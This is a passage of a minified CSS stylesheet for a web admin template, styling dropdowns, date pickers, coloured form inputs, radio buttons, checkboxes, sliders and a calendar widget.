.select2.select2-container--default .select2-selection--single { border-color: #eaeaea; height: 35px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2.select2-container--default .select2-selection--single .select2-selection__rendered { line-height: 35px; padding-left: 15px; padding-right: 30px; } .select2.select2-container--default .select2-selection--single .select2-selection__arrow { height: 33px; right: 8px; } .select2.select2-container--default .select2-selection--multiple { border-color: #eaeaea; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered { margin-top: 1px; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice { border: none; padding: 1px 5px; } .select2.select2-container--default.select2-container--focus .select2-selection--multiple { border-color: #8e8e8e; } .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } .select2.select2-container .select2-selection--multiple { min-height: 35px; } .select2-container--default .select2-dropdown { background-color: #ffffff; border: none; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .select2-container--default .select2-dropdown .select2-search--dropdown { padding: 5px; } .select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field { height: 30px; border: none; background-color: #eaeaea; padding: 5px 10px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2-container--default .select2-dropdown .select2-results .select2-results__options { padding: 5px; } .select2-results__option { background-color: #fff; padding: 8px 15px; border-radius: 4px; line-height: 14px; } .bootstrap-datetimepicker-widget .table thead { background-color: transparent; } .bootstrap-datetimepicker-widget .table thead tr th { color: #212121; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .bootstrap-datetimepicker-widget .table tr td, .bootstrap-datetimepicker-widget .table tr th { text-align: center; width: 35px; height: 35px; border-radius: 50%; border: none; line-height: 35px; position: relative; z-index: 1; } .bootstrap-datetimepicker-widget .table tr td.today, .bootstrap-datetimepicker-widget .table tr td.active { color: #ffffff; position: relative; z-index: 1; background-color: transparent; text-shadow: none; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before, .bootstrap-datetimepicker-widget .table tr td.active:before, .bootstrap-datetimepicker-widget .table tr td.active::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: #4a5361; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .table tr td.active:hover:before, .bootstrap-datetimepicker-widget .table tr td.active:hover::before { background-color: #4a5361 !important; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before { background-color: #ef4153; } .bootstrap-datetimepicker-widget .table tr td.day:hover, .bootstrap-datetimepicker-widget .table tr td.hour:hover, .bootstrap-datetimepicker-widget .table tr td.minute:hover, .bootstrap-datetimepicker-widget .table tr td.second:hover { background-color: transparent; } .bootstrap-datetimepicker-widget .table tr td:before, .bootstrap-datetimepicker-widget .table tr td::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: transparent; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(0); -o-transform: scale(0); -ms-transform: scale(0); -webkit-transform: scale(0); transform: scale(0); -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .bootstrap-datetimepicker-widget .table tr td:hover:before, .bootstrap-datetimepicker-widget .table tr td:hover::before { background-color: #f4f4f4; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .timepicker table td { position: relative; z-index: 1; width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget .timepicker table td .btn { height: auto; } .bootstrap-datetimepicker-widget .timepicker table td span { width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget.dropdown-menu { min-width: 280px; } .bootstrap-datetimepicker-widget.dropdown-menu.bottom:before, .bootstrap-datetimepicker-widget.dropdown-menu.bottom::before { border-bottom-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu.top:before, .bootstrap-datetimepicker-widget.dropdown-menu.top::before { border-top-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td { width: 30px; height: 30px; line-height: 30px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before { top: 4px; left: 0px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before { top: 4px; left: 0px; } .bootstrap-tagsinput { display: block; border: 1px solid #eaeaea; min-height: 35px; padding: 0px 10px; padding-top: 4px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .bootstrap-tagsinput .tag { padding: 1px 5px; margin-right: 2px; margin-bottom: 4px; display: inline-block; text-transform: capitalize; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; background-color: #4c5667; } .note-editor.note-frame.card { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .input-group { margin-bottom: 1.25em; } .form-control-primary { border-color: #007bff; color: #007bff; } .form-control-primary:focus { border-color: #007bff; } .input-group-primary .input-group-append .input-group-text, .input-group-primary .input-group-prepend .input-group-text { background-color: #007bff; border-color: #007bff; color: #ffffff; } .input-group-primary .form-control { border-color: #007bff; } .form-control-warning { border-color: #fb6340; color: #fb6340; } .form-control-warning:focus { border-color: #fb6340; } .input-group-warning .input-group-append .input-group-text, .input-group-warning .input-group-prepend .input-group-text { background-color: #fb6340; border-color: #fb6340; color: #ffffff; } .input-group-warning .form-control { border-color: #fb6340; } .form-control-default { border-color: #d6d6d6; color: #d6d6d6; } .form-control-default:focus { border-color: #d6d6d6; } .input-group-default .input-group-append .input-group-text, .input-group-default .input-group-prepend .input-group-text { background-color: #d6d6d6; border-color: #d6d6d6; color: #ffffff; } .input-group-default .form-control { border-color: #d6d6d6; } .form-control-danger { border-color: #f5365c; color: #f5365c; } .form-control-danger:focus { border-color: #f5365c; } .input-group-danger .input-group-append .input-group-text, .input-group-danger .input-group-prepend .input-group-text { background-color: #f5365c; border-color: #f5365c; color: #ffffff; } .input-group-danger .form-control { border-color: #f5365c; } .form-control-success { border-color: #2dce89; color: #2dce89; } .form-control-success:focus { border-color: #2dce89; } .input-group-success .input-group-append .input-group-text, .input-group-success .input-group-prepend .input-group-text { background-color: #2dce89; border-color: #2dce89; color: #ffffff; } .input-group-success .form-control { border-color: #2dce89; } .form-control-inverse { border-color: #4c5667; color: #4c5667; } .form-control-inverse:focus { border-color: #4c5667; } .input-group-inverse .input-group-append .input-group-text, .input-group-inverse .input-group-prepend .input-group-text { background-color: #4c5667; border-color: #4c5667; color: #ffffff; } .input-group-inverse .form-control { border-color: #4c5667; } .form-control-info { border-color: #11cdef; color: #11cdef; } .form-control-info:focus { border-color: #11cdef; } .input-group-info .input-group-append .input-group-text, .input-group-info .input-group-prepend .input-group-text { background-color: #11cdef; border-color: #11cdef; color: #ffffff; } .input-group-info .form-control { border-color: #11cdef; } .form-txt-primary { color: #007bff; } .form-txt-primary:focus { color: #007bff; } .form-txt-primary::-moz-placeholder { color: #007bff; opacity: 1; } .form-txt-primary:-ms-input-placeholder { color: #007bff; } .form-txt-primary::-webkit-input-placeholder { color: #007bff; } .form-txt-warning { color: #fb6340; } .form-txt-warning:focus { color: #fb6340; } .form-txt-warning::-moz-placeholder { color: #fb6340; opacity: 1; } .form-txt-warning:-ms-input-placeholder { color: #fb6340; } .form-txt-warning::-webkit-input-placeholder { color: #fb6340; } .form-txt-default { color: #d6d6d6; } .form-txt-default:focus { color: #d6d6d6; } .form-txt-default::-moz-placeholder { color: #d6d6d6; opacity: 1; } .form-txt-default:-ms-input-placeholder { color: #d6d6d6; } .form-txt-default::-webkit-input-placeholder { color: #d6d6d6; } .form-txt-danger { color: #f5365c; } .form-txt-danger:focus { color: #f5365c; } .form-txt-danger::-moz-placeholder { color: #f5365c; opacity: 1; } .form-txt-danger:-ms-input-placeholder { color: #f5365c; } .form-txt-danger::-webkit-input-placeholder { color: #f5365c; } .form-txt-success { color: #2dce89; } .form-txt-success:focus { color: #2dce89; } .form-txt-success::-moz-placeholder { color: #2dce89; opacity: 1; } .form-txt-success:-ms-input-placeholder { color: #2dce89; } .form-txt-success::-webkit-input-placeholder { color: #2dce89; } .form-txt-inverse { color: #4c5667; } .form-txt-inverse:focus { color: #4c5667; } .form-txt-inverse::-moz-placeholder { color: #4c5667; opacity: 1; } .form-txt-inverse:-ms-input-placeholder { color: #4c5667; } .form-txt-inverse::-webkit-input-placeholder { color: #4c5667; } .form-txt-info { color: #11cdef; } .form-txt-info:focus { color: #11cdef; } .form-txt-info::-moz-placeholder { color: #11cdef; opacity: 1; } .form-txt-info:-ms-input-placeholder { color: #11cdef; } .form-txt-info::-webkit-input-placeholder { color: #11cdef; } .form-bg-primary { background-color: #007bff; border-color: #007bff; color: #fff; } .form-bg-primary:focus { background-color: #007bff; border-color: #007bff; color: #fff; } .form-bg-primary::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-primary:-ms-input-placeholder { color: #fff; } .form-bg-primary::-webkit-input-placeholder { color: #fff; } .form-bg-warning { background-color: #fb6340; border-color: #fb6340; color: #fff; } .form-bg-warning:focus { background-color: #fb6340; border-color: #fb6340; color: #fff; } .form-bg-warning::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-warning:-ms-input-placeholder { color: #fff; } .form-bg-warning::-webkit-input-placeholder { color: #fff; } .form-bg-default { background-color: #d6d6d6; border-color: #d6d6d6; color: #fff; } .form-bg-default:focus { background-color: #d6d6d6; border-color: #d6d6d6; color: #fff; } .form-bg-default::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-default:-ms-input-placeholder { color: #fff; } .form-bg-default::-webkit-input-placeholder { color: #fff; } .form-bg-danger { background-color: #f5365c; border-color: #f5365c; color: #fff; } .form-bg-danger:focus { background-color: #f5365c; border-color: #f5365c; color: #fff; } .form-bg-danger::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-danger:-ms-input-placeholder { color: #fff; } .form-bg-danger::-webkit-input-placeholder { color: #fff; } .form-bg-success { background-color: #2dce89; border-color: #2dce89; color: #fff; } .form-bg-success:focus { background-color: #2dce89; border-color: #2dce89; color: #fff; } .form-bg-success::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-success:-ms-input-placeholder { color: #fff; } .form-bg-success::-webkit-input-placeholder { color: #fff; } .form-bg-inverse { background-color: #4c5667; border-color: #4c5667; color: #fff; } .form-bg-inverse:focus { background-color: #4c5667; border-color: #4c5667; color: #fff; } .form-bg-inverse::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-inverse:-ms-input-placeholder { color: #fff; } .form-bg-inverse::-webkit-input-placeholder { color: #fff; } .form-bg-info { background-color: #11cdef; border-color: #11cdef; color: #fff; } .form-bg-info:focus { background-color: #11cdef; border-color: #11cdef; color: #fff; } .form-bg-info::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-info:-ms-input-placeholder { color: #fff; } .form-bg-info::-webkit-input-placeholder { color: #fff; } .form-radio { position: relative; } .form-radio .form-help { position: absolute; width: 100%; } .form-radio label { position: relative; padding-left: 1.5rem; text-align: left; color: #333; display: block; line-height: 1.8; } .form-radio input { width: auto; opacity: 0.00000001; position: absolute; left: 0; } .radio .helper { position: absolute; top: -0.25rem; left: -0.25rem; cursor: pointer; display: block; font-size: 1rem; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; color: #999; } .radio .helper::after { transform: scale(0); background-color: #007bff; border-color: #007bff; } .radio .helper::after, .radio .helper::before { content: ''; position: absolute; left: 0; top: 3px; margin: 0.25rem; width: 1rem; height: 1rem; -webkit-transition: -webkit-transform 0.28s ease; transition: -webkit-transform 0.28s ease; transition: transform 0.28s ease, -webkit-transform 0.28s ease; border-radius: 50%; border: 0.125rem solid #007bff; } .radio label:hover .helper { color: #007bff; } .radio input:checked ~ .helper::after { transform: scale(0.5); } .radio input:checked ~ .helper::before { color: #007bff; animation: ripple 0.3s linear forwards; } .radio.radiofill input:checked ~ .helper::after { transform: scale(1); } .radio.radiofill .helper::after { background-color: #007bff; } .radio.radio-outline input:checked ~ .helper::after { transform: scale(0.6); } .radio.radio-outline .helper::after { background-color: #fff; border: 0.225rem solid #007bff; } .radio.radio-matrial input ~ .helper::after { background-color: #fff; } .radio.radio-matrial input:checked ~ .helper::after { transform: scale(0.5); box-shadow: 0 1px 7px -1px rgba(0, 0, 0, 0.72); } .radio.radio-matrial input:checked ~ .helper::before { background-color: #007bff; } .radio.radio-disable { opacity: 0.7; } .radio.radio-disable label { cursor: not-allowed; } .radio-inline { display: inline-block; margin-right: 20px; } .radio.radio-primary .helper::after { background-color: #007bff; border-color: #007bff; } .radio.radio-primary .helper::before { border-color: #007bff; } .radio.radio-outline.radio-primary .helper::after { background-color: #fff; border: 0.225rem solid #007bff; } .radio.radio-outline.radio-primary .helper::before { border-color: #007bff; } .radio.radio-matrial.radio-primary input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-primary input ~ .helper::before { background-color: #007bff; border-color: #007bff; } .radio.radio-warning .helper::after { background-color: #fb6340; border-color: #fb6340; } .radio.radio-warning .helper::before { border-color: #fb6340; } .radio.radio-outline.radio-warning .helper::after { background-color: #fff; border: 0.225rem solid #fb6340; } .radio.radio-outline.radio-warning .helper::before { border-color: #fb6340; } .radio.radio-matrial.radio-warning input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-warning input ~ .helper::before { background-color: #fb6340; border-color: #fb6340; } .radio.radio-default .helper::after { background-color: #d6d6d6; border-color: #d6d6d6; } .radio.radio-default .helper::before { border-color: #d6d6d6; } .radio.radio-outline.radio-default .helper::after { background-color: #fff; border: 0.225rem solid #d6d6d6; } .radio.radio-outline.radio-default .helper::before { border-color: #d6d6d6; } .radio.radio-matrial.radio-default input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-default input ~ .helper::before { background-color: #d6d6d6; border-color: #d6d6d6; } .radio.radio-danger .helper::after { background-color: #f5365c; border-color: #f5365c; } .radio.radio-danger .helper::before { border-color: #f5365c; } .radio.radio-outline.radio-danger .helper::after { background-color: #fff; border: 0.225rem solid #f5365c; } .radio.radio-outline.radio-danger .helper::before { border-color: #f5365c; } .radio.radio-matrial.radio-danger input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-danger input ~ .helper::before { background-color: #f5365c; border-color: #f5365c; } .radio.radio-success .helper::after { background-color: #2dce89; border-color: #2dce89; } .radio.radio-success .helper::before { border-color: #2dce89; } .radio.radio-outline.radio-success .helper::after { background-color: #fff; border: 0.225rem solid #2dce89; } .radio.radio-outline.radio-success .helper::before { border-color: #2dce89; } .radio.radio-matrial.radio-success input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-success input ~ .helper::before { background-color: #2dce89; border-color: #2dce89; } .radio.radio-inverse .helper::after { background-color: #4c5667; border-color: #4c5667; } .radio.radio-inverse .helper::before { border-color: #4c5667; } .radio.radio-outline.radio-inverse .helper::after { background-color: #fff; border: 0.225rem solid #4c5667; } .radio.radio-outline.radio-inverse .helper::before { border-color: #4c5667; } .radio.radio-matrial.radio-inverse input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-inverse input ~ .helper::before { background-color: #4c5667; border-color: #4c5667; } .radio.radio-info .helper::after { background-color: #11cdef; border-color: #11cdef; } .radio.radio-info .helper::before { border-color: #11cdef; } .radio.radio-outline.radio-info .helper::after { background-color: #fff; border: 0.225rem solid #11cdef; } .radio.radio-outline.radio-info .helper::before { border-color: #11cdef; } .radio.radio-matrial.radio-info input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-info input ~ .helper::before { background-color: #11cdef; border-color: #11cdef; } @keyframes ripple { 0% { box-shadow: 0 0 0 1px rgba(0, 0, 0, 0); } 50% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.05); } 100% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0); } } .border-checkbox-section .border-checkbox-group { display: inline-block; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:before { animation: ripple 0.3s linear forwards; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after { -webkit-animation: check linear 0.5s; animation: check linear 0.5s; opacity: 1; border-color: #007bff; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after .border-checkbox-label:before { border-color: #eee; } .border-checkbox-section .border-checkbox-group .border-checkbox-label { position: relative; display: inline-block; cursor: pointer; height: 20px; line-height: 20px; padding-left: 30px; margin-right: 15px; } .border-checkbox-section .border-checkbox-group .border-checkbox-label:after { content: ""; display: block; width: 6px; height: 12px; opacity: 0.9; border-right: 2px solid #eee; border-top: 2px solid #eee; position: absolute; left: 4px; top: 11px; -webkit-transform: scaleX(-1) rotate(135deg); transform: scaleX(-1) rotate(135deg); -webkit-transform-origin: left top; transform-origin: left top; } .border-checkbox-section .border-checkbox-group .border-checkbox-label:before { content: ""; display: block; border: 2px solid #007bff; width: 20px; height: 20px; position: absolute; left: 0; } .border-checkbox-section .border-checkbox { display: none; } .border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label { cursor: no-drop; color: #ccc; } @-webkit-keyframes check { 0% { height: 0; width: 0; } 25% { height: 0; width: 6px; } 50% { height: 12px; width: 6px; } } @keyframes check { 0% { height: 0; width: 0; } 25% { height: 0; width: 6px; } 50% { height: 12px; width: 6px; } } .border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before { border: 2px solid #007bff; } .border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked + .border-checkbox-label:after { border-color: #007bff; } .border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before { border: 2px solid #fb6340; } .border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked + .border-checkbox-label:after { border-color: #fb6340; } .border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before { border: 2px solid #d6d6d6; } .border-checkbox-section .border-checkbox-group-default .border-checkbox:checked + .border-checkbox-label:after { border-color: #d6d6d6; } .border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before { border: 2px solid #f5365c; } .border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked + .border-checkbox-label:after { border-color: #f5365c; } .border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before { border: 2px solid #2dce89; } .border-checkbox-section .border-checkbox-group-success .border-checkbox:checked + .border-checkbox-label:after { border-color: #2dce89; } .border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before { border: 2px solid #4c5667; } .border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked + .border-checkbox-label:after { border-color: #4c5667; } .border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before { border: 2px solid #11cdef; } .border-checkbox-section .border-checkbox-group-info .border-checkbox:checked + .border-checkbox-label:after { border-color: #11cdef; } .checkbox-fade, .checkbox-zoom { display: inline-block; margin-right: 15px; } .checkbox-fade label, .checkbox-zoom label { line-height: 20px; } .checkbox-fade label input[type="checkbox"], .checkbox-fade label input[type="radio"], .checkbox-zoom label input[type="checkbox"], .checkbox-zoom label input[type="radio"] { display: none; } .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon, .checkbox-fade label input[type="radio"] + .cr > .cr-icon, .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon, .checkbox-zoom label input[type="radio"] + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } .checkbox-fade label:after, .checkbox-zoom label:after { content: ''; display: table; clear: both; } .checkbox-fade.fade-in-disable .cr, .checkbox-fade.fade-in-disable label, .checkbox-zoom.fade-in-disable .cr, .checkbox-zoom.fade-in-disable label { color: #ccc; cursor: no-drop; } .checkbox-fade .cr, .checkbox-zoom .cr { border-radius: 0; border: 2px solid #007bff; cursor: pointer; display: inline-block; float: left; height: 20px; margin-right: 1rem; position: relative; width: 20px; } .checkbox-fade .cr .cr-icon, .checkbox-zoom .cr .cr-icon { color: #007bff; font-size: 1em; left: 0; line-height: 0; position: absolute; right: 0; text-align: center; top: 50%; } .checkbox-fade input[type="checkbox"]:checked + .cr, .checkbox-zoom input[type="checkbox"]:checked + .cr { animation: ripple 0.3s linear forwards; } .checkbox-fade label { line-height: 20px; } .checkbox-fade label input[type="checkbox"], .checkbox-fade label input[type="radio"] { display: none; } .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon, .checkbox-fade label input[type="radio"] + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } .checkbox-zoom label { line-height: 20px; } .checkbox-zoom label input[type="checkbox"], .checkbox-zoom label input[type="radio"] { display: none; } .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon { transform: scale3d(1, 1, 1) translate3d(0, 0, 0); opacity: 1; } .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon, .checkbox-zoom label input[type="radio"] + .cr > .cr-icon { transform: scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0); opacity: 0; transition: all 0.3s ease-in; } .checkbox-fade.fade-in-primary .cr, .checkbox-fade.zoom-primary .cr, .checkbox-zoom.fade-in-primary .cr, .checkbox-zoom.zoom-primary .cr { border: 2px solid #007bff; } .checkbox-fade.fade-in-primary .cr .cr-icon, .checkbox-fade.zoom-primary .cr .cr-icon, .checkbox-zoom.fade-in-primary .cr .cr-icon, .checkbox-zoom.zoom-primary .cr .cr-icon { color: #007bff; } .checkbox-fade.fade-in-warning .cr, .checkbox-fade.zoom-warning .cr, .checkbox-zoom.fade-in-warning .cr, .checkbox-zoom.zoom-warning .cr { border: 2px solid #fb6340; } .checkbox-fade.fade-in-warning .cr .cr-icon, .checkbox-fade.zoom-warning .cr .cr-icon, .checkbox-zoom.fade-in-warning .cr .cr-icon, .checkbox-zoom.zoom-warning .cr .cr-icon { color: #fb6340; } .checkbox-fade.fade-in-default .cr, .checkbox-fade.zoom-default .cr, .checkbox-zoom.fade-in-default .cr, .checkbox-zoom.zoom-default .cr { border: 2px solid #d6d6d6; } .checkbox-fade.fade-in-default .cr .cr-icon, .checkbox-fade.zoom-default .cr .cr-icon, .checkbox-zoom.fade-in-default .cr .cr-icon, .checkbox-zoom.zoom-default .cr .cr-icon { color: #d6d6d6; } .checkbox-fade.fade-in-danger .cr, .checkbox-fade.zoom-danger .cr, .checkbox-zoom.fade-in-danger .cr, .checkbox-zoom.zoom-danger .cr { border: 2px solid #f5365c; } .checkbox-fade.fade-in-danger .cr .cr-icon, .checkbox-fade.zoom-danger .cr .cr-icon, .checkbox-zoom.fade-in-danger .cr .cr-icon, .checkbox-zoom.zoom-danger .cr .cr-icon { color: #f5365c; } .checkbox-fade.fade-in-success .cr, .checkbox-fade.zoom-success .cr, .checkbox-zoom.fade-in-success .cr, .checkbox-zoom.zoom-success .cr { border: 2px solid #2dce89; } .checkbox-fade.fade-in-success .cr .cr-icon, .checkbox-fade.zoom-success .cr .cr-icon, .checkbox-zoom.fade-in-success .cr .cr-icon, .checkbox-zoom.zoom-success .cr .cr-icon { color: #2dce89; } .checkbox-fade.fade-in-inverse .cr, .checkbox-fade.zoom-inverse .cr, .checkbox-zoom.fade-in-inverse .cr, .checkbox-zoom.zoom-inverse .cr { border: 2px solid #4c5667; } .checkbox-fade.fade-in-inverse .cr .cr-icon, .checkbox-fade.zoom-inverse .cr .cr-icon, .checkbox-zoom.fade-in-inverse .cr .cr-icon, .checkbox-zoom.zoom-inverse .cr .cr-icon { color: #4c5667; } .checkbox-fade.fade-in-info .cr, .checkbox-fade.zoom-info .cr, .checkbox-zoom.fade-in-info .cr, .checkbox-zoom.zoom-info .cr { border: 2px solid #11cdef; } .checkbox-fade.fade-in-info .cr .cr-icon, .checkbox-fade.zoom-info .cr .cr-icon, .checkbox-zoom.fade-in-info .cr .cr-icon, .checkbox-zoom.zoom-info .cr .cr-icon { color: #11cdef; } .checkbox-color { display: inline-block; margin-right: 20px; cursor: pointer; } .checkbox-color label { display: inline-block; position: relative; padding-left: 10px; line-height: 20px; } .checkbox-color label::before { content: ""; display: inline-block; position: absolute; top: 0; width: 20px; height: 20px; left: 0; right: 0; text-align: center; margin-left: -20px; border: 1px solid #ccc; border-radius: 0; background-color: #fff; transition: border 0.15s ease-in-out, color 0.15s ease-in-out; } .checkbox-color label::after { display: inline-block; position: absolute; width: 16px; height: 16px; left: -1px; top: 0; margin-left: -17px; padding-left: 3px; padding-top: 1px; font-size: 11px; color: #fff; } .checkbox-color input[type="checkbox"] { opacity: 0; } .checkbox-color input[type="checkbox"]:focus + label::before { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .checkbox-color input[type="checkbox"]:checked + label::after { font-family: 'FontAwesome'; content: "\f00c"; } .checkbox-color input[type="checkbox"]:checked + label::before { animation: ripple 0.3s linear forwards; } .checkbox-color input[type="checkbox"]:disabled + label { opacity: 0.65; } .checkbox-color input[type="checkbox"]:disabled + label::before { background-color: #eee; cursor: not-allowed; } .checkbox-color.checkbox-circle label::before { border-radius: 50%; } .checkbox-color.checkbox-inline { margin-top: 0; } .checkbox-danger input[type="checkbox"]:checked + label::after, .checkbox-info input[type="checkbox"]:checked + label::after, .checkbox-primary input[type="checkbox"]:checked + label::after, .checkbox-success input[type="checkbox"]:checked + label::after, .checkbox-warning input[type="checkbox"]:checked + label::after { color: #fff; } .checkbox-primary input[type="checkbox"]:checked + label::before { background-color: #2196f3; border-color: #2196f3; } .checkbox-primary input[type="checkbox"]:checked + label::before { background-color: #007bff; } .checkbox-warning input[type="checkbox"]:checked + label::before { background-color: #fb6340; } .checkbox-default input[type="checkbox"]:checked + label::before { background-color: #d6d6d6; } .checkbox-danger input[type="checkbox"]:checked + label::before { background-color: #f5365c; } .checkbox-success input[type="checkbox"]:checked + label::before { background-color: #2dce89; } .checkbox-inverse input[type="checkbox"]:checked + label::before { background-color: #4c5667; } .checkbox-info input[type="checkbox"]:checked + label::before { background-color: #11cdef; } .slider-nav .left-arrow, .slider-nav .right-arrow { font-size: 20px; color: #145388; display: inline-block; vertical-align: middle; margin: 0 15px; } .slider-nav .slider-dot-container { display: inline-block; } .slider-nav .slider-dot-container .owl-dot { width: 6px; height: 6px; border-radius: 10px; color: #00a7e2; background: #7cb9ec; outline: initial !important; border: initial; margin: 0 5px; padding: 0; } .slider-nav .slider-dot-container .owl-dot.active { background: #145388; } .fc .fc-toolbar .fc-button { background: #4a5361; color: #fff; padding: 5px 10px; height: auto; border: none; text-transform: capitalize; text-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .fc .fc-toolbar .fc-button .fc-icon { margin: 0; top: 0; } .fc .fc-toolbar .fc-button .fc-icon:after, .fc .fc-toolbar .fc-button .fc-icon::after { font-family: "iconkit"; font-size: 16px; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after { content: "\e843"; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after { content: "\e844"; } .fc .fc-toolbar .fc-button.fc-state-active, .fc .fc-toolbar .fc-button.fc-state-down { background: #272d36 !important; } .fc .fc-toolbar h2 { font-size: 22px; font-weight: 600; } .fc .fc-view-container .fc-view table thead tr td.fc-widget-header, .fc .fc-view-container .fc-view table thead tr th.fc-widget-header { color: #4a5361; background: #f3f4f4; border-color: #f3f4f4; padding: 10px 0px; } .fc .fc-view-container .fc-view .fc-day-number { float: left; padding: 10px 0 5px 10px; } .fc .fc-view-container .fc-view .fc-other-month { background: #f3f9ff; } .fc .fc-view-container .fc-view .fc-event-container .fc-event { display: block; padding: 3px 5px; color: #ffffff; font-weight: 600; font-size: 12px; border: none; } .fc-unthemed .fc-content, .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading, .fc-unthemed .fc-list-view, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed thead { border-color: #f3f4f4; } .color-selector { padding: 0; margin: 0; list-style: none; } .color-selector li { position: relative; display: inline-block; width: 25px; height: 25px; margin: 0 8px 8px 